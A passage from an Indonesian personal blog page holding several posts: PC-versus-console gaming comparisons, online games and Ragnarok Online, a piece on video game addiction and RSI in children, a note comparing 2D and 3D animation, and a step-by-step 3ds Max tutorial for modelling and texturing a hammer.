8. Sebenarnya semenjak tahun 2003 (tepatnya di era Geforce 4), perkembangan teknologi videocard untuk PC sudah jauh diatas kemampuan chip grafis yang digunakan oleh game console terbaik saat itu.Playstation2 dan XBOX (generasi pertama), saat itu memiliki kinerja yang masih dibawah Geforce4 Ti 4200. Memang harus diakui bahwa harga videocard Geforce4 tipe tersebut saat itu masih lebih mahal daripada harga sebuah Playstation2. Hal itulah yang menyebabkan bermain game di PC dianggap sebagai hal yang mewah dan dianggap lebih menghabiskan biaya ketimbang bermain game di PC. Empat tahun telah berlalu dan kini game console telah menjelma pula menjadi barang mewah.

9. Tahun 2003-sekarang,sebuah Gaming PC berbasis prosesor terbaru (Core2 Duo) dan menggunakan generasi videocard terkini (Geforce 8800GTS) memang akan menelan biaya nyaris 2X harga XBOX 360, namun Gaming PC tersebut memiliki fungsi yang 7X lebih banyak dibanding sebuah game console. Dan perlu diingat bahwa tampilan game di Gaming PC tersebut jauh lebih baik dibanding di XBOX 360. Untuk lebih jelasnya lihat tabel perbandingan spesifikasi antara sebuah Gaming PC dengan XBOX 360.

GAMES ON LINE

Tekonologi games online diilhami oleh penemuan metode networking komputer tahun 70-an oleh militer di Amerika. Dari konsep inilah dikembangkan berbagai fitur baru termasuk game. Pertama jaringan yang digunakan masih Lokal Area Network (LAN). Kesininya sudah menggunakan jaringan yang luas melalui jalur www (world wide web) atau internet yang bisa diakses via nirkabel . Di game online kita harus mendaftar atau register terlebih dahulu. Tidak semua games online dapat dimainkan secara gratis, beberapa di antaranya ada yang memerlukan registrasi atau pembuatan member yang memerlukan sejumlah biaya. Sedangkan untuk games yang tidak gratis, kita harus memasukan source code yang ada pada voucher games yang kita beli.
Banyak sekali jumlah game online yang dapat dimainkan ,salah satu game yang lagi digandrungi adalah Ragnarok online (RO), sebuah game yang diangkat dari komik berjudul sama. RO adalah sebuah game yang cukup fenomenal karena tak hanya booming di Indonesia, tetapi juga di seluruh dunia. “RO sangat digemari karena menawarkan kekuasaan penuh atas karakter yang diciptakan dan memberikan banyak pilihan, apakah karakter tersebut akan menjadi karakter yang beruntung, lemah, pemurah atau yang lainnya,” kata Alvanov. “Pemain dapat menciptakan karakter sesuai dengan keinginan, bahkan terkadang sifat pemain dapat tercermin dalam karakter yang diciptakannya.” Bagi penggemar RO sendiri, kesempatan untuk bertemu dengan gamer lain adalah salah satu daya tariknya. Bila dalam game offline kita hanya dapat bermain dengan orang yang terbatas, lewat RO kita dapat bermain dengan begitu banyak orang.

KECANDUAN GAMES

Chika tampak asyik bermain. Jarinya memencet-mencet tombol konsol yang ada di tangannya. Sementara matanya tak lepas dari layar monitor yang tengah menayangkan gerak akrobatis tokoh yang dikendalikannya mengatasi rintangan sambil menghadapi musuh-musuhnya. Begitulah biasanya kesibukan anak perempuan usia tujuh tahun itu sepulang sekolah. Begitu tokohnya mati dan permainan berakhir, dia segera mengulang dari awal dengan rasa penasaran. Semua itu tercermin dari ekspresi wajahnya dan pencetannya yang terkesan makin tak terkontrol.
Itulah sedikit gambaran penggunaan permainan video konsol (video games console) yang setiap peluncuran seri barunya bernuansa gegap gempita. Belum hilang dari ingatan bagaimana para pecandu permainan ini rela antre dan menginap di depan toko untuk bisa membeli PlayStation 2 (PS 2) dari Sony pada kesempatan pertama. Hal yang paling dikritik dari video game adalah dampaknya yang bisa membuat kecanduan. Singkatnya permainan itu dituduh menjadikan orang berperilaku kompulsif, tak acuh pada kegiatan lain, dan memunculkan gejala aneh, seperti rasa tak tenang saat keinginan bermain tidak terpenuhi. Penelitian lebih dari sepuluh tahun lalu menunjukkan bahwa pecandu video game (junkies) adalah individu berintelijensi tinggi, bermotivasi, dan berorientasi pada prestasi. Mereka berprestasi bagus baik di sekolah maupun tempat kerja yang tidak terganggu dengan hobi yang satu ini. Namun kecanggihan game yang terus berkembang dan makin banyak dibuat pada abad 21 ini, masih jadi tanda tanya apakah game berpengaruh pada orientasi prestasi seseorang. Lebih khusus lagi layakkah orangtua khawatir dengan kegandrungan anak-anaknya dalam permainan virtual ini?

RISIKO KECANDUAN YANG BESAR

Seorang pakar adiksi video game, Mark Griffiths dari Nottingham Trent University, mengungkapkan bisa saja game membuat orang lebih bermotivasi. “Video game abad ke-21 dalam beberapa segi lebih memberi kepuasan psikologis daripada game tahun 1980-an.”
Jelasnya, lanjut dia, untuk memainkannya perlu keterampilan lebih kompleks, kecekatan lebih tinggi, serta menampilkan masalah yang lebih relevan secara sosial dan gambar yang lebih realistis. “Namun saat tawaran ‘hadiah psikologis’ lebih besar, kemungkinan pemain mengalami kecanduan juga lebih besar.” Sepengamatannya, anak-anak mulai tertarik pada video game pada usia sekitar tujuh tahun. Dalam masa ini, tambahnya, segala hal yang terjadi adalah kegiatan yang belum menimbulkan kerusakan serius meski sebagian orang sudah melihat adanya gejala kecanduan. Namun penelitian terbaru pada anak usia awal belasan tahun menemukan hampir sepertiganya bermain video game setiap hari. “Yang lebih mengkhawatirkan sekitar 7%-nya bermain paling sedikit selama 30 jam per minggu,” ungkap penelitian itu seperti dikutip situs BBC beberapa waktu lalu. Menanggapi angka ini, Griffiths dalam keprihatiannya mengatakan betapa besar dampak jangka panjang dari kegiatan yang menghabiskan waktu luang lebih dari 30 jam per minggu pada perkembangan aspek pendidikan, kesehatan, dan sosial anak dan remaja. “Ketergantungan semacam itu dapat memicu perilaku menyimpang lain seperti mencuri uang untuk membeli game baru, bolos sekolah, keengganan mengerjakan pekerjaan rumah (PR), atau rasa tak tenang saat tidak dapat bermain.”

DETEKSI DAN PENANGGULANGAN

Untuk mengetahui apakah kecanduan itu sudah mengganggu kegiatan sekolah anak, Griffiths mengingatkan kepada para orangtua yang peduli untuk memperhatikan sejumlah gejala. “Perhatikan apakah anak bermain seharian, sering bermain dalam jangka waktu lama [lebih dari tiga jam].” Selain itu, tambahnya, perhatikan apakah mereka main untuk kesenangan, cenderung seperti tak kenal lelah dan mudah tersinggung saat dilarang. Apakah mereka mengorbankan kegiatan sosial dan olahraga, enggan mengerjakan PR, dan ingin mengurangi ketergantungannya tapi tak bisa.
“Jika anak mengalami lebih dari empat gejala dari keseluruhan yang telah disebutkan, bisa disimpulkan bahwa anak Anda mungkin sudah terlalu banyak menghabiskan waktu untuk bermain video games.” Satu gejala terpapar secara berlebihan yang juga bisa dilihat orangtua adalah kekakuan pada gerakan anak.
Hal ini mengingat saat ini 40% rumah keluarga di Inggris mempunyai komputer yang memperbesar peluang anak untuk bermain dengan perangkat elektronik itu. Tapi meskipun demikian, kata Griffiths, orangtua masih dapat melakukan sejumlah hal. Sejak dari memberi anak permainan yang lebih mendidik daripada sekadar mempertontonkan kekerasan, mendorong bermain video game secara berkelompok, dan membatasi waktu main game-nya setelah mengerjakan PR. “Yang tak kalah penting adalah mengingatkan anak untuk mematuhi panduan yang disarankan pabrik, seperti duduk setidaknya 50 cm dari monitor, ruangnya cukup pencahayaan dan tak menyetel layar terlalu terang,” ujarnya menambahkan jika beragam upaya itu gagal mainan itu harus diambil.
Menyangkut dimensi komputer meja yang kebanyakan lebih sesuai dengan postur orang dewasa, kata dia, tidak membuat anak menyerah begitu saja. “Hasil pemaksaan postur ini menjadi salah satu sebab utama repetitive strain injury (RSI) atau nyeri sendi di kalangan anak-anak.” Menurut Bunny Martin, direktur Body Action Campaign, RSI ini kemungkinan berkembang menjadi kecacatan pada anak bila tidak ditangani sejak dini. “Anak usia tujuh tahun bisa saja mengidap RSI karena terlalu sering menggunakan komputer baik di rumah maupun sekolah.” Di sejumlah kelas yang anaknya kebanyakan berusia 11 tahun, Bunny menemukan lebih dari separuh muridnya telah kena gejala awal RSI. Dia mengisahkan satu bocah pria dari Peckham, dekat London, yang setiap malam mesti merendam tangannya di air dingin guna meredam nyeri pada ibu jarinya.
Bunny menambahkan kebanyakan game dirancang sedemikan rupa agar anak penasaran dan mengejar nilai tinggi. “Dan kondisi ini sering membuat anak lupa bahkan untuk sekadar berhenti sejenak.” Kenyataan ini, menurutnya, mengharuskan orangtua dan guru agar lebih waspada. Menurutnya, sejumlah anak bahkan tidak dapat masuk sekolah karena rasa nyeri yang dialami tidak memungkinkan anak untuk belajar.
Dari gambaran di atas, dapat disimpulkan bahwa games dapat dimanfaatkan untuk memacu kreatifitas dan daya berpikir cepat seseorang. Hal itu sangat bermanfaat bagi anak-naka usia sekolah serta mahasiswa. Tetapi, jika kita tidak dapat mengendalikan diri dalam mengatur frekunsi bermain games, maka dampak yang akan ditimbulkan sangatlah berbahaya seperti yang telah digambarkan di atas.

Kaleng Soda

[hilman.jpg]

[hillcoke4.jpg]

[hillcoke5.jpg]

[hillcoke3.jpg]

Pengertian 2D dan 3D

Perbandingan animasi 2D dengan 3D yaitu :
Kita ketahui dari segi pengembangan gambar. Jelas animasi 3D yang menang dalam segi hal : Teknik suara, gambar, dan lebih nyata bentuk gambaran benda yang mati hingga digerakkan. Kalau 2D, kita tahu dalam pembuatan ini hanya penggabungan sketsa gambar yang dikonversi animasi flash ke CD.

Konsep untuk membuat animasi 2d meliputi :

1. Membuat konsep dan Ide cerita -> sinopsis
2. Membuat Storyboard
3. Menggambar Karakter
4. Menggambar Latar belakang dan objek lain
5. Pewarnaan
6. Proses animasi
7. Penggabungan animasi
8. Pengsian suara
9. Konversi Animasi Flash (SWF) ke VCD

Konsep untuk membuat animasi 3d meliputi :

  • Lingkungan Kerja 3ds Max
  • Viewport
  • Membuat Objek
  • Memodifikasi Objek
  • Memberi Material pada Objek
  • Mengatur Pencahayaan
  • Menggunakan Kamera
  • Membuat Animasi
  • Render
  • Mengolah Sistem Partikel
  • Latihan Aplikasi Animasi 3D

Palu

Palu

Membuat palu 3D yang berasal dari objek 2D dengan tool Loft dan Boolean. Kepala palu mempunyai 2 buah material (pemukul paku dan pencabut paku) dengan material multi-sub object.
1. Buat objek 2 dimensi. Klik panel Create → Shapes → Line, Rectangle, dan Circle. Pada Line jika masih terdapat sudut klik Modify kemudian klik kanan mouse pada Line kemudian pilih Bezier.


2. Aktifkan objek Line dengan tool Select Object.
3. Klik panel Create → Geometry → Compound Object. Klik tombol Loft, klik tombol Get Shape, klik pada Circle, maka garis menjadi lingkaran padat melengkung.


4. Untuk sementara matikan checklist Skin, agar tampilan hanya garis loft saja.



5. Atur Path = 0 agar Shape Circle ada di ujung awal garis.


6. Drag nilai/panah atas Path sampai nilainya ± 6, klik tombol Get Shape, klik Shape Circle, maka tampilan menjadi seperti berikut:


7. Drag nilai/panah atas Path sampai nilainya ± 10.5, klik tombol Get Shape, klik Shape Circle. Agar circle lebih kecil, atur ukurannya dengan tool Select and Uniform Scale . Sehingga tampilan Shape ke-3 di Viewport Perspective sebagai berikut:


8. Drag nilai/panah atas Path sampai nilainya ± 20.5, klik tombol Get Shape, klik Shape Rectangle, maka tampilan seperti berikut:


9. Drag nilai/panah atas Path sampai nilainya ± 52, klik tombol Get Shape, klik Shape Rectangle, maka tampilannya seperti berikut:


10. Drag nilai/panah atas Path sampai ± 78, klik tombol Get Shape, klik Shape Rectangle. Agar Shape Rectangle lebih pipih/tipis,gunakan tool Select and Uniform Scale. Drag panah sumbu X tersebut sampai pipih. Geser posisinya dengan tool Select and Move , agar posisinya ke atas sejajar dengan bagian atas Shape Rectangle sebelumnya.


11. Drag nilai/panah atas Path sampai 100 (titik kuning bergerak ke akhir Line), klik tombol Get Shape, klik Shape Rectangle. Seperti sebelumnya, agar Shape Rectangle lebih pipih/tipis, gunakan tool Select and Uniform Scale dan geser posisinya dengan tool Select and Move.


12. Kini tampilan kembalikan padat seperti semula. Di parameter Loft, aktifkan checklist Skin sebagai berikut.


Akhirnya langkah membuat palu telah selesai

Oke boi, untuk berikutnya kita buat pencabut pakunya....


Dengan Metode Compund Object dengan panel Boolean
1. Bentuk penulisan ini saya ikuti dari buku yang saya pelajari (The Magic Of 3Dmax Studio). Untuk membuatnya klik panel Create → Shapes → Line, buat bentuk segitiga, untuk membuat 3D nya gunakan Modifier List Extrude.

2. Kini saatnya membuat celah pencabut paku. Klik tool Select Object , aktifkan objek palu yang telah kita buat sebelumnya.
3. Klik panel Create → Geometry → Compound Object: klik tombol Boolean seperti gambar di bawah ini.
4. Klik tombol Pick Operand B lalu klik segitiga 3D. Kemudian akan kita dapatkan hasil Operand A(palu) dikurangi Operand B(segitiga extrude) adalah sebagai berikut.

Setelah kita buat pencabut pakunya, kita lanjutkan yuk langkah selanjutnya. Untuk langkah yang ini kita akan beri textur untuk kepala palu agar lebih terlihat seperti palu sungguhan.


Material Palu dengan Multi/Sub-Object

1. Palu akan diberi material cat merah pada bagian pemukul paku, dan besi berkarat pada bagian lainnya. Agar dapat dipilih sub object Polygon, klik panel Modify → Modifier List: Edit Mesh, pilih Modus Polygon


2. Klik tool Select Object, pilih semua Polygon kecuali bagian pemukul. Di parameter Edit Mesh, atur Set ID=1 (Anda harus mendrag Command Panel ke atas untuk menemukan parameter tersebut)

3. Klik tool Select Object, pilih Polygon bagian pemukul. Di parameter Edit Mesh atur Set ID=2.

4. Klik menu Rendering → Material Editor, ganti Material Standard dengan Multi/Sub-Object dengan mengklik mouse dua kali.

5. Tampilan kotak dialog Replace Material sebagai berikut, untuk mudahnya pilih saja option: Discard Old Material (buang material yang sebelumnya).

6. Di Material Editor kini ada 10 no ID yang bisa Anda atur. Ganti warna di ID no 1 dengan warna (misal) kuning, lalu ganti warna di ID no 2 dengan warna merah. Drag slot yang aktif ke Viewport Perspective, maka ada perubahan warna di kedua bagian palu sesuai ID yang telah diatur di parameter Edit Mesh.

7. Material pemukul paku sudah berwarna merah. Untuk bagian lain (ID no 1) kita akan beri texture besi berkarat. Klik tombol Material#2 (Standard) di kolom Sub-Material.

8. Tampil Material Editor seperti biasa, di tab Maps, klik tombol None di Diffuse Color, pilih Bitmap, OK. Pilih Bitmap PLATEOX2.JPG


9. Kini di slot yang aktif sudah menjadi bola besi berkarat. Catatan: Jika Anda ingin merubah material merah untuk bagian pemukul paku, klik tombol Go Fordward to Sibling.

10. Render (F9) pekerjaan Anda, tekan tool Quick Render. Ada peringatan bahwa Material Object Loft1 belum terpetakan/mapping material secara benar.

11. Untuk memperbaiki pemetaan material tersebut, aktifkan objek palu tersebut, klik panel Modify → Modifier List: UVW Map, atur parameternya sebagai berikut.

12. Lalu Render (F9),



Lets boi, kita buat gagang na,,,,
tambah ribet jika kita ga pakai buku,,,,

Gagang Palu dengan Loft Scale


1. Buat kotak tumpul, klik panel Create → Shape → Rectangle dan Line. Pada Rectangle atur parameter Corner Radiusnya agar menjadi kotak tumpul.

2. Aktifkan Line, klik panel Create → Geometry → Compound Object, klik tombol Loft, klik tombol Get Shape, klik pada Rectangle, maka garis menjadi kotak tumpul padat.

3. Bentuk gagang masih kaku, agar terlihat lebih indah dan sexy (hehe…..) aktifkan gagang palu tersebut, klik panel Modify, di tab Deformation klik tombol Scale. Tampak garis lurus yang artinya gagang dari ujung kiri ke ujung kanan ukurannya sama.

4. Buat titik dengan tool Insert Corner Point dan Move Control Point untuk memperbaiki posisi titik agar grafik Scale Deformation sebagai berikut.

5. Agar lebih melengkung lembut klik kanan mouse di semua vertex, klik menu Bezier-Smooth, silahkan Anda atur control point nya sehingga tampilan grafik Scale Deformation sebagai berikut. Atau Anda bebas untuk menentukan bagaimana bentuk lekukan gagang palu yang akan Anda buat.


6. Lalu Render (F9),


 
Copyright © 2010 iiapieblog | Design : Noyod.Com